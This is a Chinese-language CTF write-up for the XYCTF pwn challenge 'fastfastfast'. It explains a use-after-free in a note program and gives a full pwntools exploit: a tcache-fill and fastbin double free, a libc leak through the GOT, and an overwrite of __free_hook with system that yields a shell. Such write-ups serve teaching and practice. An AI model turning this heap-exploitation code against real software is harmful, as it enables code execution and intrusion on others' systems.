首页 > 其他分享 >[XYCTF] fastfastfast

[XYCTF] fastfastfast

时间:2024-05-03 14:23:59浏览次数:24  
标签:addr idx fastfastfast free XYCTF add io sendlineafter

[XYCTF] fastfastfast

UAF|fast_bin_attack|tcache|leak_libc

[*] '/home/bamuwe/fastfastfast/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)

$ checksec ./vuln

1. create note
2. delete note
3. show content
>>>

$ ./vuln

void __cdecl delete()
{
  unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v1; // [rsp+18h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("please input note idx");
  __isoc99_scanf("%u", &idx);
  if ( idx <= 0xF )
    free(note_addr[idx]);
  else
    puts("idx error");
}

delete()漏洞函数,没有清除指针

def add(idx,content):
    io.sendlineafter(b'>>>',b'1')
    io.sendlineafter(b'idx\n',str(idx))
    io.sendlineafter(b'content\n',content)
    
def free(idx):
    io.sendlineafter(b'>>>',b'2')
    io.sendlineafter(b'idx\n',str(idx))
    
def show(idx):
    io.sendlineafter(b'>>>',b'3')
    io.sendlineafter(b'idx\n',str(idx))

交互函数

程序逻辑:

  1. add()堆块大小固定0x71
  2. free()后没有清空指针

利用思路:

  1. 填满tcache_bin构造fast_bin_attack,将堆块放在原来有libc_addr的地方,泄露出libc_addr

    for i in range(9):
        add(i,b'a')
    
    for i in range(7):
        free(i)
    free(7)
    free(8)
    free(7)
    

    image-20240503134919203

    要利用fastbin_attack要先把tcachebin中的堆块利用

    for i in range(7):
        add(i,b'a')
    

    image-20240503135100011

    add(7,p64(0x4040A8))
    

    修改fd为目标地址,关于这个地址后文说明

    image-20240503135226136

    再申请三个堆块就可以得到目标chunk

    add(8,b'a')
    add(9,b'b')
    add(10,p64(0)*3+p64(elf.got['free']))   #?
    show(0)
    #leak_libc
    free_addr = u64(io.recv(6).ljust(8,b'\x00'))
    lib_base = free_addr-lib.sym['free']
    free_hook_addr = lib_base+lib.sym['__free_hook']
    sys_addr = lib_base+lib.sym['system']
    success(hex(free_addr))
    success(f'free_hook_addr=>{hex(free_hook_addr)}')
    

    得到libc这里p64(0)*3+p64(elf.got['free'])应该是堆块结构有关

  2. 修改__free_hook地址上的内容为system地址,构造system(/bin/sh),得到shell

    for i in range(9):
        add(i,b'/bin/sh\x00')
    for i in range(7):
        free(i)
    free(7)
    free(8)
    free(7)
    
    for i in range(7):
        add(i,b'a')
    add(7,p64(free_hook_addr))
    add(8,b'a')
    add(9,b'/bin/sh\x00')
    add(10,p64(sys_addr))
    free(9)
    

    利用手法同上

关于地址0x4040A8:

这是存贮堆块列表的地址,即变量note_addr的地址,覆盖其上堆块内容,再打印出来

image-20240503140252580

exp:

#GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'
io = gdb.debug('./vuln','b *0x401564')
# io = remote('gz.imxbt.cn',20788)
elf = ELF('./vuln')
lib = ELF('./libc-2.31.so')

def add(idx,content):
    io.sendlineafter(b'>>>',b'1')
    io.sendlineafter(b'idx\n',str(idx))
    io.sendlineafter(b'content\n',content)
    
def free(idx):
    io.sendlineafter(b'>>>',b'2')
    io.sendlineafter(b'idx\n',str(idx))
    
def show(idx):
    io.sendlineafter(b'>>>',b'3')
    io.sendlineafter(b'idx\n',str(idx))
    
for i in range(9):
    add(i,b'a')

for i in range(7):
    free(i)
free(7)
free(8)
free(7)

for i in range(7):
    add(i,b'a')

add(7,p64(0x4040A8))
add(8,b'a')
add(9,b'b')
add(10,p64(0)*3+p64(elf.got['free']))   #?
show(0)
#leak_libc
free_addr = u64(io.recv(6).ljust(8,b'\x00'))
lib_base = free_addr-lib.sym['free']
free_hook_addr = lib_base+lib.sym['__free_hook']
sys_addr = lib_base+lib.sym['system']
success(hex(free_addr))
success(f'free_hook_addr=>{hex(free_hook_addr)}')

for i in range(9):
    add(i,b'/bin/sh\x00')
for i in range(7):
    free(i)
free(7)
free(8)
free(7)

for i in range(7):
    add(i,b'a')
add(7,p64(free_hook_addr))
add(8,b'a')
add(9,b'/bin/sh\x00')
add(10,p64(sys_addr))
free(9)

io.interactive()

标签:addr,idx,fastfastfast,free,XYCTF,add,io,sendlineafter
From: https://www.cnblogs.com/bamuwe/p/18171169

相关文章

  • XYCTF pwn部分题解 (部分题目详解)
    hello_world(签到)思路:✅这道题就是利用printf函数泄露libc的基地址,然后再次进行栈溢出通过system,/bin/sh来获取shellwp:invisible_flag思路:✅题目提示orw,那我们先看看是否开了沙盒那么是开了沙盒的,试试orw读取flag虽然保护全开但是程序会执行我们写的shellcdoe那么就可......
  • [pwn]XYCTF 2024 个人WriteUp
    目录XYCTF2024WriteUp>pwn1.hello_world(签到)2.invisible_flag3.static_link由于本人菜鸡和时间问题,只打了前两周,打出了pwn的三道简单题目,记录自己的做题过程,如何后续复现可能也会更新。XYCTF2024WriteUp>pwn1.hello_world(签到)常规checksecIDA反编译进入主函数发......
  • XYCTF2024-web-wp
    怎么全是傻逼绕过题。不想评价,就随便打着玩,除了最后一道java反序列化搞心态,其他的ak了:简单题不想说,http注意一下代理是用Via就行,warmup直接:http://xyctf.top:37034/?val1=240610708&val2=QNKCDZO&md5=0e215962017&XYCTF=240610708&XY=240610708LLeeevvveeelll222.phpget......
  • XYctf happy_to_solve wp
    题目如下点击查看代码fromCrypto.Util.numberimport*importsympyfromsecretsimportflagdefget_happy_prime():p=getPrime(512)q=sympy.nextprime(p^((1<<512)-1))returnp,qm=bytes_to_long(flag)p,q=get_happy_prime()n=p*......
  • CTF练习日记——[GXYCTF2019]Ping Ping Ping 1
    首先尝试一下分号有没有被过滤:?ip=127.0.0.1;ls;可以看见分号没有被过滤,看到了flag.php和index.php两个文件,先尝试能不能打开flag.php:?ip=127.0.0.1;catflag.php;能看出空格被过滤了,我们用$IFS$1绕过空格:?ip=127.0.0.1;cat$IFS$1flag.php;可以看见flag也被过滤了,我们打开i......
  • CTF笔记——[GXYCTF2019]禁止套娃 1
    [GXYCTF2019]禁止套娃1打开题目之后什么都没看到所以进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在#DirsearchstartedSunMar1015:19:392024as:D:\Python\Scripts\dirsearch-uhttp://849b4a98-3df3-4abb-927e-1a358a178e30.node5.buuoj.cn:81/-x429......
  • 文件上传例题:[GXYCTF2019]BabyUpload
    文件上传例题:[GXYCTF2019]BabyUpload打开网址明显文件上传上传简单php马尝试后缀名过滤,使用BP抓包进行修改提示文件类型不对,修改成image/jpeg提示还是php,那换成js马<scriptlanguage="php">eval($_POST['cmd']);</script>上传成功解析php代码需要.htaccess文件在文......
  • [GXYCTF2019]禁止套娃
    [GXYCTF2019]禁止套娃打开环境没有发现什么提示,使用dirsearch扫描目录,发现git泄露。通过githack下载源码<?phpinclude"flag.php";echo"flag在哪里呢?<br>";if(isset($_GET['exp'])){if(!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\......
  • [GXYCTF2019]BabySQli
    [GXYCTF2019]BabySQli打开是一个登录页面任意输入账号密码提示wronguser输入admin提示wrongpass,说明有admin的账号并且在页面源代码中发现一串经过编码后的字符串经过base32和base64解码后得到SQL语句使用万能密码进行尝试,得到donothackme!的结果根据源码提示,我......
  • [GXYCTF2019]BabyUpload
    [GXYCTF2019]BabyUpload打开靶场看到个上传文件的选项,应该是上传文件漏洞上传个一句话木马文件尝试<?phpeval($_POST['cmd']);?>提示不能带有php的后缀改成jpg后缀,提示“上传类型也太露骨了吧!”修改了Content-Type为image/jpeg还是不行换了一种一句话木马GIF89a<sc......